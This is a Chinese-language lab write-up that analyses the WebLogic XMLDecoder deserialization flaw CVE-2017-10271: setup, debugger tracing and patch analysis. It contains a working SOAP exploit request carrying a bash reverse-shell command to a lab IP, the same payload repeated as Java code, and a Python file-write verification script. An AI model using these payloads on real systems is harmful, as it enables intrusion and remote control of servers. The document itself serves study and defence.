漏洞介绍
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
漏洞涉及版本
10.3.6.0
12.1.3.0.0
12.2.1.1.0
漏洞地址:
1 2 3 4 5 6 7 8
| /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
|
环境搭建
用的vulhub,为了动态分析cve的原理,用IDEA的远程调试搞一下,首先修改下docker-compose.yml
文件,添加调试端口
1 2 3 4 5 6 7
| version: '2' services: weblogic: image: vulhub/weblogic:10.3.6.0-2017 ports: - "7001:7001" - "8453:8453"
|
docker-compose up -d 编译镜像并启动容器

docker exec -it 4d /bin/bash 进入容器内,vi /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
,

之后将docker中的项目文件cp出来,添加在IDEA项目中,在debug配置中添加远程调试
漏洞利用
使用了网上exp,成功getshell,首先在主机监听:nc -l -p 9999
,之后使用burp修改下面的数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: text/xml Content-Length: 639
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string> /bin/bash </string> </void> <void index="1"> <string> -c </string> </void> <void index="2"> <string> bash -i >& /dev/tcp/192.168.0.32/9999 0>&1 </string> </void> </array> <void method="start"> </void> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> </soapenv:Body> </soapenv:Envelope>
|
成功反弹shell

Payload解析
SOAP 请求结构
- Envelope: 定义了 SOAP 消息的外层结构,使用的是标准的 SOAP Envelope 命名空间。
- Header: SOAP 消息中用来包含头部信息,这里特别使用了
WorkContext
,这是 WebLogic Server 特有的机制,用于在 SOAP 请求中传递上下文或状态信息。
WorkContext 内容
- XMLDecoder: 利用 Java 的
java.beans.XMLDecoder
类来反序列化 XML 中定义的 Java 对象。由于 XMLDecoder 可以实例化任何 Java 对象,因此它被用于执行恶意代码。
恶意代码执行流程
- ProcessBuilder: 使用
java.lang.ProcessBuilder
,这是 Java 中用于创建操作系统进程的 API。
- 数组构造: 构造一个字符串数组,用于作为
ProcessBuilder
的参数。这个数组包含了要执行的命令:
/bin/bash
: 使用 bash shell。
-c
: 表示后面的字符串是要运行的命令。
bash -i >& /dev/tcp/192.168.0.32/9999 0>&1
: 这条命令尝试建立一个反向 shell 连接到 IP 地址为 192.168.0.32 端口 9999 的服务器。这个命令的功能是将当前 shell 的输入输出重定向到一个 TCP 连接,实际上是创建了一个可以远程控制的 shell。
<void method="start"/>
- 这行代码调用 ProcessBuilder
的 start()
方法,启动构建的进程,实际上就是执行了上述的 bash 命令。
下面是一个漏洞验证脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import requests
headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Upgrade-Insecure-Requests': '1', 'Content-Type': 'text/xml' } def Webogic_XMLDecoder_poc(url): posturl=url+'/wls-wsat/CoordinatorPortType' data = ''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> <string>xmldecoder_vul_test</string></void><void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ''' print (url) try: r=requests.post(posturl,data=data,headers=headers,timeout=5) geturl=url+"/wls-wsat/test.txt" print (geturl) check_result = requests.get(geturl,headers=headers,timeout=5) if 'xmldecoder_vul_test' in check_result.text: print ("[+]存在WebLogic WLS远程执行漏洞(CVE-2017-10271)") except: print ("[-]不存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")
if __name__ == '__main__': url = "http://192.168.189.137:7001" Webogic_XMLDecoder_poc(url)
|
漏洞分析
这里首先将上面的调用栈信息格式化一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"> <S:Body> <S:Fault xmlns:ns4="http://www.w3.org/2003/05/soap-envelope"> <faultcode> S:Server </faultcode> <faultstring> 0 </faultstring> <detail> <ns2:exception xmlns:ns2="http://jax-ws.dev.java.net/" class="java.lang.ArrayIndexOutOfBoundsException" note="To disable this feature, set com.sun.xml.ws.fault.SOAPFaultBuilder.disableCaptureStackTrace system property to false"> <message> 0 </message> <ns2:stackTrace> <ns2:frame class="com.sun.beans.ObjectHandler" file="ObjectHandler.java" line="139" method="dequeueResult"> </ns2:frame> <ns2:frame class="java.beans.XMLDecoder" file="XMLDecoder.java" line="206" method="readObject"> </ns2:frame> <ns2:frame class="weblogic.wsee.workarea.WorkContextXmlInputAdapter" file="WorkContextXmlInputAdapter.java" line="111" method="readUTF"> </ns2:frame> <ns2:frame class="weblogic.workarea.spi.WorkContextEntryImpl" file="WorkContextEntryImpl.java" line="92" method="readEntry"> </ns2:frame> <ns2:frame class="weblogic.workarea.WorkContextLocalMap" file="WorkContextLocalMap.java" line="179" method="receiveRequest"> </ns2:frame> <ns2:frame class="weblogic.workarea.WorkContextMapImpl" file="WorkContextMapImpl.java" line="163" method="receiveRequest"> </ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.workcontext.WorkContextServerTube" file="WorkContextServerTube.java" line="71" method="receive"> </ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.workcontext.WorkContextTube" file="WorkContextTube.java" line="107" method="readHeaderOld"> </ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.workcontext.WorkContextServerTube" file="WorkContextServerTube.java" line="43" method="processRequest"> </ns2:frame> <ns2:frame class="com.sun.xml.ws.api.pipe.Fiber" file="Fiber.java" line="866" method="__doRun"> </ns2:frame> <ns2:frame class="com.sun.xml.ws.api.pipe.Fiber" file="Fiber.java" line="815" method="_doRun"> </ns2:frame> <ns2:frame class="com.sun.xml.ws.api.pipe.Fiber" file="Fiber.java" line="778" method="doRun"> </ns2:frame> <ns2:frame class="com.sun.xml.ws.api.pipe.Fiber" file="Fiber.java" line="680" method="runSync"> </ns2:frame> <ns2:frame class="com.sun.xml.ws.server.WSEndpointImpl$2" file="WSEndpointImpl.java" line="403" method="process"> </ns2:frame> <ns2:frame class="com.sun.xml.ws.transport.http.HttpAdapter$HttpToolkit" file="HttpAdapter.java" line="539" method="handle"> </ns2:frame> <ns2:frame class="com.sun.xml.ws.transport.http.HttpAdapter" file="HttpAdapter.java" line="253" method="handle"> </ns2:frame> <ns2:frame class="com.sun.xml.ws.transport.http.servlet.ServletAdapter" file="ServletAdapter.java" line="140" method="handle"> </ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.WLSServletAdapter" file="WLSServletAdapter.java" line="171" method="handle"> </ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.HttpServletAdapter$AuthorizedInvoke" file="HttpServletAdapter.java" line="708" method="run"> </ns2:frame> <ns2:frame class="weblogic.security.acl.internal.AuthenticatedSubject" file="AuthenticatedSubject.java" line="363" method="doAs"> </ns2:frame> <ns2:frame class="weblogic.security.service.SecurityManager" file="SecurityManager.java" line="146" method="runAs"> </ns2:frame> <ns2:frame class="weblogic.wsee.util.ServerSecurityHelper" file="ServerSecurityHelper.java" line="103" method="authenticatedInvoke"> </ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.HttpServletAdapter$3" file="HttpServletAdapter.java" line="311" method="run"> </ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.HttpServletAdapter" file="HttpServletAdapter.java" line="336" method="post"> </ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.JAXWSServlet" file="JAXWSServlet.java" line="99" method="doRequest"> </ns2:frame> <ns2:frame class="weblogic.servlet.http.AbstractAsyncServlet" file="AbstractAsyncServlet.java" line="99" method="service"> </ns2:frame> <ns2:frame class="javax.servlet.http.HttpServlet" file="HttpServlet.java" line="820" method="service"> </ns2:frame> <ns2:frame class="weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction" file="StubSecurityHelper.java" line="227" method="run"> </ns2:frame> <ns2:frame class="weblogic.servlet.internal.StubSecurityHelper" file="StubSecurityHelper.java" line="125" method="invokeServlet"> </ns2:frame> <ns2:frame class="weblogic.servlet.internal.ServletStubImpl" file="ServletStubImpl.java" line="301" method="execute"> </ns2:frame> <ns2:frame class="weblogic.servlet.internal.ServletStubImpl" file="ServletStubImpl.java" line="184" method="execute"> </ns2:frame> <ns2:frame class="weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction" file="WebAppServletContext.java" line="3732" method="wrapRun"> </ns2:frame> <ns2:frame class="weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction" file="WebAppServletContext.java" line="3696" method="run"> </ns2:frame> <ns2:frame class="weblogic.security.acl.internal.AuthenticatedSubject" file="AuthenticatedSubject.java" line="321" method="doAs"> </ns2:frame> <ns2:frame class="weblogic.security.service.SecurityManager" file="SecurityManager.java" line="120" method="runAs"> </ns2:frame> <ns2:frame class="weblogic.servlet.internal.WebAppServletContext" file="WebAppServletContext.java" line="2273" method="securedExecute"> </ns2:frame> <ns2:frame class="weblogic.servlet.internal.WebAppServletContext" file="WebAppServletContext.java" line="2179" method="execute"> </ns2:frame> <ns2:frame class="weblogic.servlet.internal.ServletRequestImpl" file="ServletRequestImpl.java" line="1490" method="run"> </ns2:frame> <ns2:frame class="weblogic.work.ExecuteThread" file="ExecuteThread.java" line="256" method="execute"> </ns2:frame> <ns2:frame class="weblogic.work.ExecuteThread" file="ExecuteThread.java" line="221" method="run"> </ns2:frame> </ns2:stackTrace> </ns2:exception> </detail> </S:Fault> </S:Body> </S:Envelope>
|

分析调用栈,我们重点关注下面的调用流程:
- weblogic.wsee.jaxws.workcontext.WorkContextServerTube->processRequest
- weblogic.wsee.jaxws.workcontext.WorkContextTube->readHeaderOld
- weblogic.wsee.jaxws.workcontext.WorkContextServerTube->receive
- weblogic.workarea.WorkContextMapImpl->receiveRequest
- weblogic.workarea.WorkContextLocalMap->receiveRequest
- weblogic.workarea.spi.WorkContextEntryImpl->readEntry
- weblogic.wsee.workarea.WorkContextXmlInputAdapter->readUTF
- java.beans.XMLDecoder->readObject
回到漏洞利用时的漏洞地址:POST /wls-wsat/CoordinatorPortType HTTP/1.1
,可以看到形成漏洞的接口应当是wls-wsat
,查看源文件可以看到servlet映射关系

动态调试
具体的步骤流程,我把断点打在了 weblogic.wsee.jaxws.WLSServletAdapter
类的handle函数,接下来跟进分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public void handle(ServletContext var1, HttpServletRequest var2, HttpServletResponse var3) throws IOException { if (var2.getMethod().equals("GET") || var2.getMethod().equals("HEAD")) { HttpMetadataPublisher var4 = (HttpMetadataPublisher)this.endpoint.getSPI(HttpMetadataPublisher.class); if (var4 != null && var4.handleMetadataRequest(this, this.createConnection(var1, var2, var3))) { return; }
if (this.isOraWsdlMetadataQuery(var2.getQueryString())) { this.publishWSDL(this.createConnection(var1, var2, var3)); return; } }
super.handle(var1, var2, var3); }
|
这段代码定义了一个 handle
方法,用于处理来自 Web 服务的 HTTP 请求。它是在一个可能属于 SOAP 或 REST Web服务的 Java 类中,处理特定类型的 HTTP 请求,尤其是针对元数据和 WSDL 发布。以下是对这个函数各部分的详细分析:
参数
ServletContext var1
:这是一个接口,它为 servlet 定义了一个范围为整个应用的视图,使 servlet 能够获得关于其运行环境的信息。
HttpServletRequest var2
:表示客户端到服务器的请求信息,用于检查此次 HTTP 请求的方法和查询字符串。
HttpServletResponse var3
:表示服务器对客户端的响应,可用于设置响应的类型、内容等。
检查请求方法:
- 方法首先检查 HTTP 请求是否为
GET
或 HEAD
方法。这两种方法通常用于获取信息,不对服务器的状态进行更改。
处理元数据请求:
- 如果请求方法是
GET
或 HEAD
,代码尝试获取一个 HttpMetadataPublisher
的实例。这个实例可能是用于发布或处理与 HTTP 相关的元数据的。
this.endpoint.getSPI(HttpMetadataPublisher.class)
方法调用可能是获取服务提供接口(SPI),用于具体的元数据发布逻辑。
- 如果
var4.handleMetadataRequest(this, this.createConnection(var1, var2, var3))
返回 true
,说明对元数据的请求已被处理,并且没有更多的操作需要执行,方法会提前返回。
处理 WSDL 发布:
- 接下来,如果请求的查询字符串是针对 WSDL 的(通过
this.isOraWsdlMetadataQuery(var2.getQueryString())
检查),则执行 this.publishWSDL(this.createConnection(var1, var2, var3))
。
- 这一步可能涉及到 Web 服务描述语言(WSDL)的发布,它是一个 XML 格式的文档,描述了网络服务的接口,以便客户端知道如何与服务交互。
- 与处理元数据请求相同,如果处理了 WSDL 发布,方法也会提前返回。
调用父类处理方法:
- 如果请求既不是元数据请求也不是 WSDL 查询,那么将通过调用
super.handle(var1, var2, var3)
来继续处理请求。这表明当前方法是在某个继承层次中,且父类也有处理请求的逻辑。
接下来跟进到:AuthenticatedSubject.java 的 doAs 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public Object doAs(AbstractSubject var1, PrivilegedExceptionAction var2) throws PrivilegedActionException { if (var2 == null) { throw new SecurityException(SecurityLogger.getNullAction()); } else { int var3 = SubjectManager.getSubjectManager().getSize(); SubjectManager.getSubjectManager().pushSubject(var1, this); Object var4 = null; boolean var11 = false;
try { var11 = true; var4 = var2.run(); var11 = false; } catch (RuntimeException var12) { throw var12; } catch (Exception var13) { throw new PrivilegedActionException(var13); } finally { if (var11) { int var7 = SubjectManager.getSubjectManager().getSize();
while(var7-- > var3) { SubjectManager.getSubjectManager().popSubject(var1); }
} }
int var5 = SubjectManager.getSubjectManager().getSize();
while(var5-- > var3) { SubjectManager.getSubjectManager().popSubject(var1); }
return var4; } }
|
这段 Java 代码是一个实现特权动作执行的函数,通常用在安全敏感的环境中,比如 Java 的安全框架中。它的功能是在特定的安全上下文中执行传入的 PrivilegedExceptionAction
动作。下面是对这个函数 doAs
的逐步分析:
参数
AbstractSubject var1
: 这个参数代表的是执行动作的主体(subject),在安全框架中用于表示操作的执行者。
PrivilegedExceptionAction var2
: 这是一个函数式接口,定义了需要在特定权限上下文中执行的操作。
功能
- 参数校验: 函数首先检查
var2
是否为 null。如果是 null,则抛出一个 SecurityException
,表示不能执行空的操作。
- 主体上下文的推入: 在执行动作之前,函数使用
SubjectManager.getSubjectManager().pushSubject(var1, this)
将当前主体 var1
推入主体管理器的栈中。这是为了设置当前的安全上下文。
- 执行动作:
- 使用
try
块来执行 var2.run()
,即执行传入的特权操作。
- 如果在执行过程中发生
RuntimeException
,则直接将这个异常抛出。
- 如果发生其他类型的
Exception
,则将其封装在一个 PrivilegedActionException
中抛出,这是为了处理特权操作可能抛出的检查型异常。
- 异常处理:
finally
块确保无论 var2.run()
执行过程中发生什么情况(包括异常),都将当前主体从主体管理器的栈中弹出,直到栈的大小回到初始状态 var3
。
- 这一步是必要的,以确保安全上下文在操作完成后能恢复到原始状态,防止安全漏洞。
- 恢复主体上下文:
- 在
try
块后,有另一个循环用于处理异常外的情况,同样确保主体栈被正确清理。
上面流程太长了,下面直接把断点打在weblogic.wsee.jaxws.workcontext.WorkContextServerTube
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public NextAction processRequest(Packet var1) { this.isUseOldFormat = false; if (var1.getMessage() != null) { HeaderList var2 = var1.getMessage().getHeaders(); Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true); if (var3 != null) { this.readHeaderOld(var3); this.isUseOldFormat = true; }
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true); if (var4 != null) { this.readHeader(var4); } }
return super.processRequest(var1); }
|

var1为POST传进来的XML数据,var3是xml的头部解析,如果存在(头不为空),就进入readHeaderOld()方法,跟进readHeaderOld()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| protected void readHeaderOld(Header var1) { try { XMLStreamReader var2 = var1.readHeader(); var2.nextTag(); var2.nextTag(); XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter(); ByteArrayOutputStream var4 = new ByteArrayOutputStream(); XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4); var3.bridge(var2, var5); var5.close(); WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray())); this.receive(var6); } catch (XMLStreamException var7) { throw new WebServiceException(var7); } catch (IOException var8) { throw new WebServiceException(var8); } }
|
第一步processRequest中我们只把头读了进来,其他的数据还在缓冲区中,使用ByteArrayOutputStream函数读取剩余数据到var4。经过一系列的处理后,如果没有问题就创建WorkContextXmlInputAdapter对象 var6,之后跟进receive()
1 2 3 4
| protected void receive(WorkContextInput var1) throws IOException { WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor(); var2.receiveRequest(var1); }
|
继续跟进receiveRequest()
1 2 3
| public void receiveRequest(WorkContextInput var1) throws IOException { ((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1); }
|
将var1传到了receiveRequest()方法中,继续跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public void receiveRequest(WorkContextInput var1) throws IOException { while(true) { try { WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1); if (var2 == WorkContextEntry.NULL_CONTEXT) { return; }
String var3 = var2.getName(); this.map.put(var3, var2); if (debugWorkContext.isDebugEnabled()) { debugWorkContext.debug("receiveRequest(" + var2.toString() + ")"); } } catch (ClassNotFoundException var4) { if (debugWorkContext.isDebugEnabled()) { debugWorkContext.debug("receiveRequest : ", var4); } } } }
|
继续跟进 readEntry
1 2 3 4
| public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException { String var1 = var0.readUTF(); return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0)); }
|
在这里对var0执行了readUTF()方法
1 2 3
| public String readUTF() throws IOException { return (String)this.xmlDecoder.readObject(); }
|
执行了readObject()方法,对XMLDecoder对象进行了反序列化,导致远程命令执行。
Payload
https://www.anquanke.com/post/id/102768
接下来我们详细剖析下payload的原理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string> /bin/bash </string> </void> <void index="1"> <string> -c </string> </void> <void index="2"> <string> bash -i >& /dev/tcp/192.168.0.32/9999 0>&1 </string> </void> </array> <void method="start"> </void> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> </soapenv:Body> </soapenv:Envelope>
|
使用 SOAP 请求或者更具体地为什么在 WebLogic 中使用 SOAP,关联到了几个重要的点:Web服务的标准、WebLogic 服务器的功能以及企业级应用的需要。下面是这些关系的详细解释:
- SOAP 和 Web 服务标准
SOAP(Simple Object Access Protocol)是一种协议规范,用于在网络上交换结构化信息,它建立在 XML 协议之上,使其能够与任何系统的任何编程语言进行交互,这对于异构系统的集成非常重要。SOAP 定义了如何通过网络传输信息:
- 独立于平台和语言:SOAP 提供了一种方式,允许不同操作系统和编程语言之间进行通信,这对于多种技术堆栈的企业环境至关重要。
- 支持复杂的交互模式:与简单的 REST 相比,SOAP 支持更复杂的交互和更强的安全性,包括事务管理和双向操作。
- WebLogic 服务器和 Web 服务
WebLogic 是 Oracle 的一个企业级应用服务器,它提供了全面的支持用于开发、集成和部署企业级的 Java EE 应用。WebLogic 服务器提供的特性之一就是对 Web 服务的优秀支持,包括:
- SOAP 支持:WebLogic 提供对 SOAP Web 服务的原生支持。它能够承载使用 SOAP 协议的服务,处理 SOAP 消息,并进行必要的安全和事务处理。
- WS-Security:SOAP 的安全扩展(WS-Security)提供了一种机制来保证 SOAP 消息的安全,这是企业级应用所需的。WebLogic 支持这些标准,确保数据传输的安全性。
- 企业级应用的需要
在企业级应用中,常常需要保证数据的安全传输和可靠性:
- 可靠性和事务性:企业级应用通常要求数据传输必须是可靠的和具备事务性的,SOAP 提供了 WS-ReliableMessaging 和 WS-AtomicTransaction 等规范支持,这些都是 REST 很难完整提供的。
- 服务描述:SOAP 使用 WSDL (Web Services Description Language) 描述服务接口,这对于企业级服务的自动发现和集成非常重要。
- WebLogic 中的 SOAP 利用漏洞
正因为 WebLogic 服务器广泛地支持使用 SOAP 进行复杂的 Web 服务交互,所以一旦这些处理机制中存在缺陷,它们就成为了攻击者的目标。例如,CVE-2017-10271 就是利用了 WebLogic 在解析 SOAP 请求时处理 XML 输入的方式中的漏洞。
ProcessBuilder是什么? ,ProcessBuilder类是J2SE1.5在java.lang中新添加的一个新类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。说白了它能执行本地命令,但是它提供的功能更加丰富,能够设置工作目录、环境变量。
将上面的payload转化为java代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import java.io.IOException; import java.lang.ProcessBuilder;
public class Exploit { public static void main(String[] args) { try { String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.0.32/9999 0>&1"}; ProcessBuilder processBuilder = new ProcessBuilder(commands);
processBuilder.start(); } catch (IOException e) { e.printStackTrace(); } } }
|
补丁分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase(“object”)) { throw newIllegalStateException(“Invalid context type: object”); } } }); } catch (ParserConfigurationException var5) { throw new IllegalStateException(“Parser Exception”, var5); } catch (SAXException var6) { throw new IllegalStateException(“Parser Exception”, var6); } catch (IOException var7) { throw new IllegalStateException(“Parser Exception”, var7); } }
|
上面这个是CVE-2017-3506的补丁,再对xml解析时,如果qName的值是Object时将抛出异常,采用的黑名单的方式。所以就出现了今天的分析的CVE-2017-10271。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public void startElement(String uri, StringlocalName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase(“object”)) { throw newIllegalStateException(“Invalid element qName: object”); } else if (qName.equalsIgnoreCase(“new”)) { throw newIllegalStateException(“Invalid element qName: new”); } else if (qName.equalsIgnoreCase(“method”)) { throw newIllegalStateException(“Invalid element qName: method”); } else { if (qName.equalsIgnoreCase(“void”)) { for (int attClass = 0; attClass < attributes.getLength(); ++attClass) { if (!”index”.equalsIgnoreCase(attributes.getQName(attClass))) { throw newIllegalStateException(“Invalid attribute for element void: ”+attributes.getQName(attClass)); } } } } }
|
上面是CVE-2017-10271补丁,分别对 Object new method void进行了判断,进行了防护。导致poc攻击失效。
漏洞根源
其实主要还是 XMLDecoder 的问题,XMLDecoder
是 Java Beans 中用于从 XML 文档中恢复 Java 对象图的一个工具。它是专为解码通过 XMLEncoder
编码的 XML 文档而设计的,但也可用于处理其他符合格式的 XML。XMLDecoder
主要处理以下几种类型的标签:
<object>
这个标签用于创建一个对象的实例。它通常包含 class
属性来指定要实例化的类。这是最基本的用于实例化对象的标签。1
| <object class="java.util.Date"/>
|
<java>
这个标签是用于封装整个 Java 对象序列化数据的根元素,提供了一个环境来指定 Java 版本和类定义。1
| <java version="1.0" class="java.beans.XMLDecoder">
|
<array>
用于表示一个数组,通常包含 class
和 length
属性,用于指定数组的元素类型及长度。1
| <array class="java.lang.String" length="3">
|
<void>
这是一个多功能的标签,用于表示不返回值的方法调用或属性设置。例如,它可用于调用方法或设置对象的属性。1 2 3 4 5 6 7 8
| <void property="name"> <string>John Doe</string> </void> <void method="add"> <object class="java.lang.Integer"> <int>100</int> </object> </void>
|
<value>
用于包装简单值或字符串,通常内嵌在其他标签中,用于设置属性或数组值。
<null>
用于表示 null 值,常见于设置可为空的属性或对象引用。
<string>
用于表示字符串值,经常用于属性赋值或方法参数。1
| <string>Example</string>
|
<int>
, <boolean>
, <float>
, <double>
等
用于表示基本数据类型的值。1 2
| <int>42</int> <boolean>true</boolean>
|
<list>
用于创建 List
类型的集合。1 2 3 4
| <list> <string>Item 1</string> <string>Item 2</string> </list>
|
XMLDecoder
的设计初衷是用于 JavaBeans 组件的配置和存储,因此它在解析时会创建并操作 Java 对象。由于其灵活性,XMLDecoder
可以被用来执行复杂的操作,包括调用任意方法,这可能导致安全问题。因此,使用 XMLDecoder
处理不受信任的 XML 数据时必须非常小心。